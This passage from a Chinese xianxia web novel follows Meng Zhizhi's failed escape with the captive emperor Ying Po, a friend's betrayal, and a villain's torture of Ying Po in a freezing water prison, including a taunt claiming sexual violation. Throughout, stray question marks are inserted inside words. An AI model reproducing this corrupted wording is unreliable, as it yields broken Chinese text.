孟枝枝手夹咒枣,准备要上,一只银发白肚的巨兽跳跃云空。 “枝枝。” 孟枝枝手一松,喜道:“冥漆,你终于来了。” “小桃仙,还在后面。”冥漆停在他们身前,俯身而下。 孟枝枝惊道:“小桃仙没有?走吗?” 她看见那双绿色的眼睛欲哭无泪。 冥漆道:“小桃仙是为了我才回来的,我被樊鸣派来的老?道拦住了。我先带你们出去,上来。” 孟枝枝不敢耽误,先坐上之后,又对赢破伸出手。 赢破脸色苍白,黑发下露出的修长脖颈脆弱又美丽,他望着她,没有?动。 孟枝枝道:“赢破,跟我走。我知道外?面对你来说,是一片未知。但你相信我,呆在这?里不会有?未来。要走出这?一步很难,你会害怕、恐惧,会不知所措,但我会帮你逐渐适应外?面的世界。” 赢破双唇蠕动:“你不会丢弃我?” 孟枝枝坚定地看着他道:“不会。” 那只手伸了过来,手指比她的更修长,手掌明明比她更宽大,此刻却像个小孩一样紧紧抓住了她。 她回握住他的手,用力一拉,赢破也?坐了上来。她道:“抓紧我。” 赢破看着她的侧脸,看她的眼睛,看她不慌不乱,她明明就在眼前,却好?像怎么也?抓不住,他心里没由来地慌乱。他将下巴合在她的肩膀上,把头埋在她的颈里。 “冥漆,开始吧,我们准备好?了。” 冥漆向天发出一声怒吼,向月奔去,很快它转头向地面扑去,发出轰隆一声。地面凹陷进去,四周全是飞沙石砾,冥漆正不断向下打洞。 向下越深的地方越黑,四周都是土腥味,石头随时往他们身上砸来,孟枝枝不断捏诀,开启金盾阻止那些飞来的巨石。 他们离那个鬼地方越来越远了。 冥漆打洞的速度极快,他似乎对这?里极为熟悉,一会儿?左绕一会儿?右绕,一点都不迷路。 到了一个地方,冥漆道:“枝枝,你们准备好?,我们要出去了。” 孟枝枝道:“好?。” 只听头顶土地震动,石头不再飞,但声音大得像发生了地震,这?般动静真的不会引来皇宫那些人吗? 这?一刻无论?谁都十?分紧张。 突然?,头顶哗啦啦开始下起泥石流,宛如泄洪一般,头上所有?一切都向他们狠狠砸了过来。 孟枝枝快速念咒道:“天降神?威,赋予枣上,逆我者皆逐。咒枣,出。” 无数的金色咒枣飞出,一瞬间炸开,光芒四射。 冥漆破土而出,他们落到了一个漆黑之处,身后大洞很快陷落进去,将后路堵平。地上水声四溅,溅在皮肤上冰凉刺骨,细听四周还有?流水声传来。 冥漆道:“我们出来了。” 孟枝枝不禁喊道:“赢破,你听见了吗?我们出来了!” 赢破微微抬起头。 孟枝枝看他只露出一双漆黑的眼睛,那眼神?中没有?任何波澜。她心中微涩。 冥漆道:“枝枝,先把他放在这?里吧,我们回去救小桃仙。” 孟枝枝神?色严肃起来,道:“小桃仙受伤了吗?” 冥漆声音听起来激动,道:“她受伤了,都是因为我。” 孟枝枝道:“那我们快回去救她!” 她回头,抱住赢破的腰,两人从冥漆的背上飞下来。 赢破死死抓住她,一字一顿道:“你说过,不会丢弃我。” 孟枝枝道:“赢破,我没有?丢弃你,我们要回去救同?伴。你还记得吗?小桃仙,之前就是因为她,我才能出去救你。现在她有?难,我们不能就这?么丢下她。” 赢破双眸深沉,等了许久,哑了声音道:“你发誓,你不会丢弃我。” 孟枝枝笃定道:“我发誓,我不会丢弃你在此处。” 赢破终于缓缓松开了手,他立在那儿?,宽大的衣服拢着瘦削的身体,少年没有?长开的肩膀硬撑着,像是翩翩要倒。 “孟芷,我等你。” 孟枝枝深深看了他一眼,转身坐回冥漆的背上。 她似是不忍,脑子里一想到赢破还在背后看着自己,不由地斩钉截铁道:“冥漆,我们走吧。” 只是一瞬,巨兽跳跃空中,很快消失。 四脚妖兽用力往前奔跑,争这?每一分每一秒。 四周视野似乎越来越开阔,从刚刚黑不见底的水洞,已能隐见光亮,听见虫鸣,他们正穿梭在树木之间。 孟枝枝压低了身体,很快他们来到了一片空地之处,冥漆再次向天空一跃,似是撞到了什么,他们急速下坠。 孟枝枝立马捏诀,托住了。 四周亮起一圈火焰,原来是人手持着火把,照亮此地,数十?个穿着黑色斗篷的人围了过来。 这?时,孟枝枝才发现他们被一张细细密密的巨网笼罩着,巨网很重,重得他们几?乎动弹不得。 冥漆情绪激动道:“你们明明答应了我,只要我留下鬼皇帝,就放我们三个走!” 孟枝枝脑袋仿佛被人狠狠砸了一下,道:“冥漆,你在说什么?” 冥漆微侧过头,绿色的玻璃眼眸流下眼泪道:“枝枝,对不起。” 樊鸣从人群里走出来。 他居高临下看着他们,他蹲了下来,道:“让我替他解释。你的伙伴,这?个可怜可悲的小老?鼠背叛了你。” 冥漆低着头,整个人的精神?似乎都塌陷进深渊。 孟枝枝眼有?怒意道:“他在哪儿??” 樊鸣有?几?分讶异,道:“你难道只想问他,不想先手刃背叛者?让我再多告诉你一点,他早就背叛你们,你们的一举一动,我自始至终都知道。” 他一只手抓着冥漆的脑袋,冥漆向后仰,他发出惨叫。 一束金箭飞快射了过来,樊鸣敏捷地放手避开,但手上依然?留下了伤口,就差一点那只金箭就要刺穿他整条胳膊。 “大人!”有?人立马拉紧巨网,孟枝枝整个人被挤压在地面上,以怪异的姿势紧贴着地面。有?人上前,长剑直指孟枝枝,孟枝枝歪着头,露出雪白的脖颈,眼中全是怒火。 樊鸣一挥手,他的手臂滴着鲜血,“都往后撤。” 他低下头,看着孟枝枝那双倔强的眼睛道:“你连修为都不想要了吗?” 孟枝枝道:“他在哪儿??” 樊鸣有?一瞬很想杀了她,但看见她那双眼睛,手上又一瞬涌出鲜血,他捂紧伤口,道:“我不会告诉你他在哪儿?。我要你永远记得,是你把他送回了我们手中。” 孟枝枝眼轮浮出一圈红线,她捏紧了拳头。 四周瞬间出现上千只金色光箭,它们全指向樊鸣这?帮人。 50-60 第51章 第 51 章 樊鸣从袖下?掏出一把匕首, 将?匕首举向冥漆,道:“你要动手,我先杀了他。” 冥漆道:“枝枝,别管我, 你先逃!” 樊鸣不由分说, 一刀插进冥漆的口中搅动, 搅得银发巨兽嘴巴血肉模糊。 孟枝枝道:“住手!你给我住手!” 数把金箭飞到樊鸣身后?, 距离不过方寸之间?, 让周围的士兵看了捏了一把冷汗。 樊鸣道:“你知?道吗?这个世界上总有人自诩高人一等,凡人也是,修仙者也是。你以为?你是医修,我们就?拿你没办法?认清现?实,乖乖束手就?擒。” 孟枝枝眼角泛红, 道:“你先放开他!你再伤他,我们就?同归于尽。” 冥漆嘴里冒着血泡,呜咽道:“枝……呜……” 樊鸣低头?嗤笑,道:“你敢吗?你想要你的朋友跟你陪葬?” 孟枝枝道:“你大可试试。如今我没什么?可怕的。” 她侧着半张脸,死死瞪着他们。 樊鸣看了她许久, 终于扑哧一声拔出匕首, 冥漆扑倒在地, 奄奄一息,看着孟枝枝的背影, 眼神里有说不完的愧疚。 樊鸣道:“你们将?那只困兽绑起来。” 众人起身,粗鲁地抓起冥漆的脑袋,用玄铁拷在他的脖子上, 再拖拉硬拽,铐住他的四肢固定在一块坚硬的铁板上, 那铁板上贴满了黄色的符纸。 孟枝枝眼睁睁看着他们将?冥漆带走,道:“你们要将?他带去哪儿?” 樊鸣道:“小孟女官,都到了这个时?候,你不先担心担心你自己吗?” 只见他从怀中掏出一个锦囊。 樊鸣将?动作放得很慢,道:“你知?道这是什么?吗?” 孟枝枝不屑道:“故弄玄虚。” 樊鸣道:“看来是你忘了,你吃过它的苦头?。无妨,你会再一次认识到的。” 这时?,周围火把都散开了,孟枝枝看见四周的士兵都往后?退,空地一瞬间?暗了下?来。 “知?道吗,你的命从始至终都在我的手里。” 他的目光落在了孟枝枝的脸上,周围很暗,他却能?看见她那双明亮的眼睛充满着警惕,在黑暗中想努力看清周围的一切。 孟枝枝手里暗自捏着咒枣,随时?准备捏诀。 而在他的眼中,她睫毛扇动的频率变得很慢,像一帧一帧地慢放,她的脸颊被?尘土飞扬,却依旧显得雪白滑嫩,少女哪怕被?压在了地上,脖颈依然高傲,宛如天鹅颈。 只见樊鸣喉咙上下?一动,轻轻拉开了那个锦囊,一缕黑气从里面冒出。 忽然,一道红光炸裂,地面陡然升起数千万条枝蔓,它们拔地百丈,以极快的速度穿插,密密麻麻构成了一个树枝牢笼,将?樊鸣关在其中密不透风。 樊鸣双眸一沉,将?锦囊彻底拉开,邪气瞬间?吞噬了整个牢笼,木倒草枯,刹那消萎。 再一看,原本躺在网中的孟枝枝已经消失不见。网破了一个大洞,看样子是被?人救走了。 樊鸣眼神骤冷,“很、好。” 孟枝枝被?带离了那个地方,她正坐在一张长满花瓣的粗木桩上,她眼前之人是小桃仙。 她道:“小桃仙,你伤得好重。” 她立马运气给她治疗。 小桃仙脸上浮动黑气,那黑气在她的脸上乱窜,愈演愈烈,道:“我们得立马找到一个安全的地方。” 孟枝枝探到小桃仙身上的这股黑气,震惊道:“这是……” 小桃仙淡道:“是魔气,你想得没错,咳咳。” 孟枝枝立刻从腰间?的桂花香囊里拿出一枚棕色丹药,那丹药是师父炼制给她保命用的回元丹,能?留临死之人一口气,她手中只有两枚。 她让小桃仙服下?,道:“怎么?会有魔气?” 小桃仙道:“是我小瞧了他们,这群狡猾的人类手里竟然有天仙子的种子。” 天仙子种子…… 一瞬间?电光石火,孟枝枝愣在原地。 小桃仙剧烈咳嗽,孟枝枝立马替她运行,两人躲到了皇宫中一处原先冥漆休憩之处。这里乱石穿空,屋檐蛛网,地上积满灰尘,他们躲在隐蔽的一处地洞里,抬头?能?见小小半方天空。 小桃仙倚靠在壁上,被?魔气侵蚀已深,双唇全黑。孟枝枝立马双手合十,灵气在掌心流转,剩下?最后?一枚回元丹被?她的灵气一催动,变成了流体。 她默念净天地神咒,柔和的白光包裹着那流体窜进了小桃仙的嘴里。 小桃仙忍着剧痛,奇经八脉中的灵气在乱走。黑气被孟枝枝的白光咒术一步一步逼退,但依然像甩不开的牛皮糖,凝成一股浓黑牢牢占据小桃仙的丹田。 孟枝枝加强灵力运输,让回元丹从四面八方围追堵截这股黑气,终于这股黑气忍受不了带有净化作用的回元丹,开始分散成数缕,四处溃逃。 很快,一缕微弱的黑气从小桃仙的耳朵逃逸出去,紧接着,源源不断的数缕黑气从她的七窍涌出。 孟枝枝抓住机会,再一次催动净天地神咒,用咒枣净化了逃逸的魔气。 小桃仙显然受不了魔气的侵蚀,她的身体里,魔气所到之处,皆开始溃烂,就?好像树心被?虫啃咬筑洞。 小桃仙大口呕出腐烂的血肉,那是她受损的本体,她瘫软着,孟枝枝立刻将?她扶起来,让她靠在了土壁上。 小桃仙胸口起伏不定,就?算喝下?孟枝枝给的净化咒水,本体受损,要想修复也得需要一段时?间?。 她突然咒骂道:“那个大傻子。” 孟枝枝知?道她骂的是谁,道:“到底发生了什么?事?” 小桃仙道:“那日你给我们送信来,让我们赶紧躲一躲,我们就?一直徘徊在皇宫里。皇宫守卫增多还出现?了道士,我们都很担心你。但冥漆突然变脸要赶我走,还放出狠话,我是生气,但转而一想我凭什么?要听他的,于是我就?回来了,还和一个老道打了一架,那老道不敌我,催发天仙子种子开花,害得姑奶奶中了一身魔气。都怪冥漆那个大傻子,谁让他气我,影响我发挥!” 孟枝枝大概弄清了来龙去脉,大抵是冥漆打算一人涉险帮她,结果小桃仙回来了,还被?天仙子散出的魔气重伤了。冥漆看到了小桃仙受伤,却不知?她并未被?老道抓住,怕是赶来见她和赢破的路上被?樊鸣抓住,樊鸣拿小桃仙威胁了他一番,冥漆思?索再三,才做了这样的决定——将?赢破交给他们。 “说来冥漆去哪儿了呢?那个大傻子还不是比不过我,是我先救到你了,等我见到他,我要骂死他。” 孟枝枝抿了下?唇,道:“小桃仙,冥漆本来跟我在一起,他被?他们带走了。” 小桃仙脸色一变,道:“他活该,谁叫他那么?蠢,不自量力。” 过了一会儿,小桃仙又道:“他被?抓去了哪儿?” 孟枝枝道:“我也不知?道。” 小桃仙马上要起身,孟枝枝摁下?了她,道:“你丹田破损,本体受伤,你接触到的天仙子应该已经盛开了,不仅仅是一颗种子。我虽然净化了大部分魔气,但依然不能?小觑,我不知?道魔气会对?你有多大的影响,你需要时?间?恢复。我去,我会把冥漆他们都救回来。” 小桃仙抬眸,一把拉住了她,道:“你别走。” 孟枝枝回头?。 小桃仙道:“这次他们来势汹汹,你一个人没了我怎么?打得过?” 孟枝枝想起冥漆被?带走时?被?人抓着脑袋,压在木板上的屈辱样子,还有那水洞中瘦弱少年?站着久久注视着她,她终于忍受不了内心压抑的情绪,道:“打不过也得打,我必须得赶紧救他们出来!” 小桃仙意外显得冷静,道:“如果你也被?他们捉住了,我怎么?办?” 孟枝枝看着她,心里再也忍不住,紧抱着小桃仙,哭道:“是我太天真,太自信了。我原以为?我带赢破出来,没想到牵连到了你和冥漆。冥漆被?樊鸣刺伤了,他被?拖走的时?候,我看着他毫无反抗之力,任人宰割,我却依旧不敢杀了他们,是我不敢。我从来没有杀过人,小桃仙,是不是我做错了?” 小桃仙用力地回抱她,道:“你没错,你也是被?冥漆蒙蔽了吧?那个傻子总以为?自己知?道所有事,想一个人把事都扛下?来,真是傻子,傻子。”她捏紧拳头?,将?头?埋进孟枝枝的肩窝里,低声喊了一句又一句。 孟枝枝哭得不能?自已。 小桃仙抬起头?,替她擦泪,道:“傻狍子,别怕,有我在呢。” 孟枝枝红着眼睛,道:“我心里难受,赢破一定以为?是我故意陷害他,但我真的这次真的没有。” 小桃仙道:“我会揪着冥漆的耳朵去跟小皇帝解释,这样他总不会怪你了,怎么?样?” 孟枝枝吸了吸鼻子道:“真的吗?” 小桃仙哑笑,道:“你还和小时?候一模一样。犯了错害怕就?一个人哭鼻子,得我们哄好一会儿才会不哭了。我说的当?然是真的,我什么?时?候骗过你?冥……那个大傻子以前总说,枝枝又乖又可爱,如果生在山林里,肯定会是山林里最漂亮的小老鼠。当?时?我就?觉得他脑子有坑,枝枝应该当?山林里最美的桃花妖才对?,谁要当?老鼠啊!” 她一说起冥漆,眉飞色舞,嘴上总是傻子傻子,但听着更像一种娇嗔。 小桃仙从来不会撒娇的。 孟枝枝道:“小桃仙,你真的很喜欢冥漆。” 小桃仙一下?呆滞,“瞎说!” 她连忙屈膝,将?脸埋了进去,小声嘀咕道:“谁喜欢他啊?” 孟枝枝直言不讳道:“冥漆也非常非常喜欢你。” 小桃仙蜷缩着脚趾,她的眼角开出了粉色,道:“你个小不点,故意捉弄我是不是?” 孟枝枝道:“我没有,只是在旁边一直看着你们这样,很早很早以前我就?想说了,为?什么?你们迟迟都不向彼此不开口呢?” 这是她前一世的遗憾,自从入了别院,她后?来再未见过小桃仙和冥漆,不知?道他们还在一起吗?有没有像修仙之人那般结成道侣呢? 更重要的是他们会没事吗? 她如此深爱他们两个人,这次变故重重更加深了她心中浓重的忧虑,这一切都密密麻麻地压在她的心口上,她不想错过机会,这次直接问出了口。 小桃仙一双桃花眼潋滟,眼睫像羽毛一样轻轻低垂,粉嫩到红晕的脸颊像初春繁花,声音嘟嘟囔囔:“这种事怎么?能?让女孩子先说啊?” 小桃仙从未露出过这一面,孟枝枝在这一瞬间?觉得她很美。 孟枝枝过了好一会儿,果断道:“小桃仙,我们要一起回去,找到他们。” 小桃仙道:“恩,你来助我恢复,我们休整一会儿再出发。” “好。” 天空依旧黑暗,皇都热闹,皇宫建筑鳞次栉比,却给人一种极为?压抑的感觉。 云庭很快来到此地。 他走在皇宫的林荫小道,看到天空中熊熊魔气涌动。他眼神凌厉,大步往魔气集中之地而去。 “是何人?”巡逻的士兵喊道。 云庭捏诀,士兵们昏睡一地。 他将?画好的符纸贴在了他们身上,以免邪物?侵蚀,目光并不慈悲,冷且严峻。 他去的方向,正是别院。 一片水洞之中。 赢破双腿早已经被?灌进冰凉刺骨的水里,四周的水声越来越大,明显看见水位从脚踝处一直上升到膝盖处,再到他腰间?,但他依然站立在等待孟枝枝的那个位置一动不动。 魇灵道:“她在骗你。” 赢破眼中充满戾气。 “看看这鬼地方,这分明是水牢。”魇灵道,“我见过人间?画像,有一种刑罚叫水刑。将?人关在密闭空间?之中,不断往里灌入极寒之水,人要么?被?冻死,要么?被?水溺死。看看你现?在的样子,瑟瑟发抖。” 赢破一张开双唇,便冒出白气,唇瓣颤抖道:“孤不冷。” 魇灵道:“呵。” 他围绕在赢破的身侧,道:“只要你说你想要力量,我便给你。他们之所以丢下?你,不就?是因为?你弱吗?如果你有力量,他们怎么?会丢下?你呢?你原本可以和他们并肩作战,离开这个鬼地方。” 他继续道:“现?在也不迟,只要你开口,我就?告诉你怎么?获得力量。” 赢破怒道:“闭嘴。” 魇灵道:“还不死心?” 它视线往外一看,笑道:“有人来了,小子,你会后?悔的。” 听到魇灵说有人要来,赢破的眼睛一瞬亮了,他终于抬起了脚,没想到脚冻得伸展不开,他踉跄几步,水声哗哗,掀起白花。 他抬头?望去,心中欣喜道:“孟……” 一眼便见樊鸣居高临下?地看着他。 赢破的脸一瞬间?变得很难看,整个人都阴沉了下?去。 樊鸣开口道:“陛下?,被?背叛的滋味不好受吧?” 他残忍道:“她不会再来了。” 赢破怒击水面,水声在水牢里回荡,道:“她人现?在在哪儿?” 第52章 第 52 章 樊鸣道:“你真?的想?知道吗?” 他俯下?身, 像看可怜虫一样看着赢破。 “她?走了。” 赢破怒道:“你说谎!”他全身抗拒,周围的水掀起?层层白花,白花一瞬即逝。 这时水位已经淹没到他的胸膛之?处,将他的黑色长发打?湿, 他仰着头, 如兽类般懵懂的双眸此刻被水波冲刷, 不眨半分, 眼睑四周拉着清晰的红线, 苍白颤抖的双唇被寒水泡得更显单薄。 寒水黑漆漆的,像一个大洞吞没着他瘦削的身躯。 他就这么死盯着樊鸣,仿佛只要他掉下?来,就要将他撕咬碎。 樊鸣道:“陛下?,你怎么就不信呢?在你心中, 你觉得她?很好,是不是?但是陛下?啊,你忘了吗,在你身边有出现?过好人吗?你怎么总是不长记性呢?” 赢破冷冷地看着他,一字一顿道:“孤要见她?。” 他就是不信, 令樊鸣心中生厌, 此下?看着赢破更觉得他碍眼无比。 樊鸣拿出装有天仙子种子的锦囊, 向天空抛了抛。这是樊鸣惯用的招数,没人看见的时候, 就会拿此物威胁他。他从小?到大受过这一招多少次,每当看见身边那些人以为他发疯,视他为怪物的眼神?, 他心里早已麻木。 赢破冷笑道:“你也黔驴技穷了。” 樊鸣脸色瞬间一变,又正色道:“陛下?, 下?定论不要太早。你可知道,小?孟女官对此物十分受用。” 赢破眼神?微滞,继而怒火中烧,他道:“你把她?怎么了?!” 樊鸣道:“你忘了吗,那一夜,你和她?在房中。” 赢破自然?记得,那夜大红棉被之?上,她?充满红晕的双眸,她?拒绝他的靠近。饶是他知道她?厉害,也第一次看见天仙子种子的魔气如此厉害,使她?催情,她?动弹不得。 赢破眼神?越来越沉,浑身紧绷到极点,像一只即将暴走的野兽。 樊鸣看他的表情,便知道他懂了,他轻展眉眼,笑道:“对,她?与我在一起?。她?委曲在我身下?的时候,哭得很好看,脸颊染上灰尘都那么美,她?脖子弯曲着看着我,皮肤很软,软如脂玉,她?哭着向我求饶,说再也不帮你了。” 赢破额头青筋一瞬暴起?,紫色的血管从额角蔓延到他的脖颈处,看着十分吓人。 “孤要将你碎尸万断!” 樊鸣哈哈大笑,道:“我的陛下?,你怎么如此天真??事到如今,你还不懂吗?这天下?,这皇都,你以为你还是当日的赢氏共主吗?” 他低下?头,道:“谁跟着你必定倒霉。就算是她?又如何?,她?帮了你,就活该,她?应该聪明点,学学钱公公。” 说罢,他看了一眼在旁边隐如空气的钱喜。钱喜瑟缩着将头更低了下?去?。 他道:“看看钱公公,你从小?被他带大,他却知审时度势,听从樊家吩咐,对宫人怠慢、欺辱你视而不见,我们要如何?对你就如何?对你,这一桩桩一件件,你记起?来了吗?” 赢破整个人就快要被寒水淹没,他一声不吭,水已漫上他的下?巴,他不管怎么发疯,在黑黝黝的水牢里也掀不起?什么大浪花,如今成?千上万斤的水压着他,将他生生拖拽进去?,他寸步难行?。更别说这寒冷刺骨的温度,已使得他浑身皮肤皮肤开始脱落,生出大片紫黑色的坏疽。 赢破仰着头,后槽牙艰难,压得吱吱响,道:“把她?还、给、孤。” 魇灵此时冒出身,意外的是,樊鸣等人都看不见他。他围绕在赢破周身,声音充满邪气道:“看见了吧?任何?一只小?蚂蚁都可以欺负你,她?受辱的时候,你做了什么?哈哈哈,可怜,太可怜了。” 赢破双眼爆出红血丝,每一株血丝都像孢子一样在他的眼睛里扩散,最终充斥整双眼睛。 “把她?还给孤!”他再一次猛击水下?,激起?朵朵白浪,浑身肌肉暴起?,不知是双唇还是舌头被他自己咬出鲜血,滴落进水里,染红了一片寒水。 樊鸣冷漠地看着他,道:“将此处合上。” 只听轰隆一声,那道唯一被打?开的狭小?窗口被关上了。 寒水已经淹入赢破的口鼻,整个水牢四周结了一层薄冰,空气越来越稀薄。 “樊鸣,你给孤出来!出来啊!樊鸣!”赢破在水中扑腾,大声乱吼。 一般人遇如此陷境,都会保持体力,想?办法浮上水面,缓慢呼吸,尽可能多地给自己存活的空间。 但是赢破整个人已经陷入魔怔之?中,他的身体不断沉入,升起?,寒水灌进口鼻,快速冻伤他的器官。 他怒吼,撞击着水面、石壁,像个无头苍蝇,将自己撞得头破血流。 “孟芷,你答应过我,你会回来的!”他冲着天怒吼道。 他心中戾气横生。 不一会儿,他似乎听到了一个声音。 “赢破。” “赢破。” “救我。” 赢破四处寻觅着声音,声音颤抖道:“孟、芷?” “赢破。” 赢破四周张望着,他潜入水中,寒水一下?子彻底淹没了他。黑乎乎的水里隐隐约约出现?孟枝枝的身影,他连忙抓了过去?,一看却抓了个空。 耳边却依然?回荡着:“赢破,救我,快救救我。” 那是……孟芷在哭? 赢破心如刀割,他在水下?张开着眼睛,四处寻觅。虹膜渗透出鲜血,出血越来越多,四周早已变成?血红色,但他却一点也看不见。 他撑起?了眼皮,努力睁大了眼睛,那布满可怖坏疽地手指在水里一下?一下?地划动着。 孟芷、孟芷…… 忽而那布满可怖坏疽的手指不动了,像羽毛一样轻轻地沉了下?去?。 钱喜听着水牢之?中的动静渐渐消退,强忍着让自己不在意。 樊鸣道:“钱公公。” 钱喜背脊一紧,“欸,大人。” 樊鸣看着他的腰弓得比原先还要弯,道:“我还有要事,此处就交由你。” 钱喜道:“奴才?领命。” 樊鸣瞥了他一眼,“到这关键时候,公公不会心软罢?” 钱喜皮笑肉不笑,道:“大人说笑了。” 樊鸣道:“你我深知陛下?个性,对背叛之?人……” 钱喜一个激灵,将头埋得更深,道:“奴才?绝不会背叛大人。” 樊鸣冷笑一声。 他踩着鹿皮靴,脚步声越来越越远。 钱喜整个人大汗淋漓,一屁股坐在地上,确认樊鸣走远后,才?念叨道:“杂家这辈子是造了什么孽哟?” 他从先皇幼儿时期就照顾先皇,是宫里身份最高的大太监总管,受尽宫中尊敬,再到赢破出世,他受命照料下?一任天下?共主,那个招人怜爱的粉孩儿,如今却成?了个疯疯癫癫的人。 钱喜呆在皇宫里十分长久,知道得太多太多,在樊鸣眼中,他钱喜现?在已经是吓破胆的老鼠。 他附在那石壁上,细听水牢之?中的动静,却不曾想?什么都听不见。 他小?声喊了一句,“小?陛下??小?陛下??” 无人答应。 正当他起?身想?要靠近再细听,一道黑气蒙蔽了他的双眸,他整个人感?到窒息,眼睛翻白,看不见眼珠,四肢不受控制地抽搐。 没一会儿,钱公公脸色一变,几分邪气,鄙夷道:“人类的身体真?是脆弱!” 他打?开石壁,里面黑洞洞的,什么也看不见。 却见他一头扎了进去?,不出半刻,他拖拽着一个人的身影,那人正是已被寒水冻僵的赢破。 “钱喜”看着赢破充血爆出的眼睛,全身溃烂的身体,便一把扯开他的衣服。他的胸膛正密密麻麻地膨胀,像有无数只虫在里面蠕动一样。 被魇灵附体的“钱公公”发出赞赏道:“想?生不能,想?死不能,生不如死。常人若到了这个地步,早就疯魔了。小?子,你能活到如今,真?不愧是怪物。” 突然?,外面传出一声巨响。 “钱喜”抬头一看,双眼几乎眯成?一条缝,像是要穿透层层岩壁,看向那外面究竟发生了什么。 与此同时,云庭赶到了魔气之?地。 这边现?状惨烈,无数具躺列的烧焦尸体散出恶臭,天仙子种子就在这些尸体里扎根了。腐烂的人肉是它们最好的养料,它们吸纳了人临死前?的挣扎、绝望、愤怒和忌恨,很快长出含苞的花朵,魔气浓郁熏天。 云庭厉声,道:“无尘剑,破!” 只见雪白剑影,快速将所有天仙子的花苞切个粉碎。但也只有一瞬,天仙子又吸食人肉,开出了新的花苞。 这就是魔花的难缠之?处。数十年前?,人间被魔花侵染,吸引魔物。仙门联合起?来花了许多功夫才?将魔花铲除。 没想?到十七年后,魔花又重?现?于世了。 云庭本是为魇灵而来,没想?到发现?了更大的秘密。仙门一直与人界保持距离,不干扰人界凡事,唯有妖邪入侵,弟子才?下?山帮助人界。 但这么个地方,却有魔花。 到底是为什么?难道人界与魔勾结了? 云庭手捏符纸,向天仙子抛去?,施展净天地咒,只一瞬,所有的天仙子枯萎了下?去?。地面被侵蚀出黑色的痕迹,无法清理干净。 光是这样还不够,只要天仙子的种子就如同孢子一般,只要生长过,就会随风飘落,继续扎根生长。 他还得找帮手。 他拿出师门的通讯符,道:“一剑。” 路一剑正在来皇都的路上,一听见大师兄的声音,还以为自己听错了,嘴上连忙应道:“大……大大师兄?大师兄你跑哪里去?了,我快担心死了!” 云庭皱了皱眉,道:“我现?在在南元国的皇宫之?中,此处出现?天仙子。” “什么?!”路一剑的声音拔高了八个度,“天、天天仙子?” 云庭不想?跟他多言,道:“我将方位发于你,我需要你来铲除这里的天仙子。” 路一剑道:“啊,大师兄,这太突然?了!再说你的伤还没好,魇灵还在人界,这多危险啊,我们向师父请命吧!大师兄你千万别乱来啊!” 云庭单方面挂断了通讯。 路一剑一个人在空中喂了半天,心里拔凉拔凉的。 这他妈算啥事啊!怎么又来了天仙子的种子!那可是魔花啊! 人界难道已经有魔出现?了吗? 他好害怕,他能回去?吗?他好想?呆在山里不出来,外面的世界怎么这么可怕? 然?而,时间宝贵,光阴不等人。 路一剑只能硬着头皮加紧飞去?皇都帮助云庭,顺便传一封私密通讯给师父贤剑真?君,告知他这里的情况。 人界的局势不好,事况已经大大超出他们的控制了。 云庭一步步探寻此地,死伤的人都是凡人,没有一个活口,地上遗留的兵器有赢氏皇族的标记,看来这些人都是皇宫的士兵。 只是奇怪的是,这里明显有打?斗的痕迹,看痕迹,此地出现?过修士。 为什么会有修士出现?在这里? 他捡起?地上一枚残留的花瓣,上面沾满天仙子的魔气,他认出那是夹竹桃的花瓣,看样子有妖修。 除了玉坤山妖修聚集,下?界的妖怪当散修的几乎可以忽略不计。妖怪天生有灵力,能力强大,但性格难训,愿走上正道的更是少之?又少,除了玉坤山妖修,散修的可能性极低。 难道是玉坤山的妖修? 他一转眼,注意到那座诡异的吊桥。 吊桥上挂满黄色符纸,这些黄色符纸都是阻挡邪灵用的,法术属于中阶,这在人界属实罕见。整个桥身越往里越被浓郁的瘴气笼罩着,他想?踏步往那头去?。 就听见有人来了。 云庭刚要捏诀,就听来人激动道:“请问是仙师吗?” 就见来人穿着一副甲胄,身姿气宇轩昂,身后跟着几位同样穿着甲胄的士兵。 樊鸣下?跪抱拳道:“南元国皇城禁军指挥使樊鸣恳求仙师帮帮我们。” 云庭连忙用诀扶起?他,“此处究竟怎么回事?” 樊鸣抬起?头,面容悲怆凄然?。都说男儿有泪不轻弹,云庭观此人眼角湿润,心生几分怜悯。 樊鸣道:“这些人皆是我手下?的士兵,被我排在此处镇守。却没想?到……他们都被陛下?害死了。” 他埋下?头,遮挡泪痕。 云庭皱眉,道:“陛下??人界皇帝?” 樊鸣道:“仙师有所不知,先皇登仙之?后,陛下?便出生了,但生得有些……有些怪异。” “说来听听。” 樊鸣满脸羞愧,道:“陛下?不似常人,没有心,但却能如常人一般呼吸,也像普通人一样成?长。此本乃皇家秘闻,但事到如今,我再不说,我的士兵们都要被陛下?残害殆尽,我实在无颜见我的士兵们,泉下?也无颜面见先皇。” 云庭道:“无心,却能如常人一般?” “是。陛下?从小?也与常人不同,性格铁石心肠,似乎不懂感?情,有时会突然?像变了个人,发狂疯癫,还会杀了侍奉他的人。我们心中恐惧,只得将陛下?圈禁起?来供奉,以防此等丑闻流入民间,引起?百姓恐慌。” 云庭愤愤道:“如此暴君,你们为何?不推翻?” 樊鸣惶恐不已,跪下?道:“仙师,此等话切不可乱说。这天下?是赢氏一族的天下?,是被仙界祝福守护的福泽之?地,吾等贱民岂敢打?破?” 云庭想?起?一桩旧事。 他记得人界皇帝是由众位仙门合力推举出来,仙盟立下?了誓言,拥护赢氏一族为皇族。此条规则流传了人界千年,颠扑不破。 他心中厌烦,此等守旧习俗将人分为三六九等,终究害苦的还是普通百姓。 他道:“此地数百人的性命,全是他一人所为?” 樊鸣摇了摇头。 云庭道:“你既说皇帝害死你的士兵们,这会儿却又说这数百人性命非他所为,如此不自相矛盾?” 樊鸣抬头,脸上浮现?出恐惧道:“仙师,吾不敢言。” 云庭道:“说,我乃千霄宫贤剑真?君座下?大弟子云庭,来此地就是为了解决怪异之?事,我会保护你们。” 樊鸣立马磕头道:“这皆是因为皇宫里一位女官,我们也是后来才?得知她?竟然?是一位法力高深的散修,她?似是被陛下?蛊惑,想?将陛下?‘解救’出来。我们从各处召集数位优秀的修士对付她?,却没想?到她?另有帮手,让我们全军覆没,这才?成?了这个样子,我侥幸因为带兵转移陛下?而逃离此劫。今天若不是偶遇仙师,我们怕是都要折在此地。” 云庭道:“竟有散修敢插手人界之?事?她?是谁?” 樊鸣缓缓念出那个名字。 “孟芷。” 第53章 第 53 章 小桃仙平复最后一丝气息, 缓缓睁开了眼睛。 孟枝枝道?:“我已为你剔除坏掉的筋脉,又用了治疗术,刚长出新肉会有些痒。” 小桃仙止不住伸手挠痒,嘴上道?:“这点痒算什么, 忍忍就过?去了。” 孟枝枝捏了决, 手中咒枣化作一只红色小鸟, 它跳到了小桃仙的身上, 啄着她的头发?和脸, 看着似乎很疼。 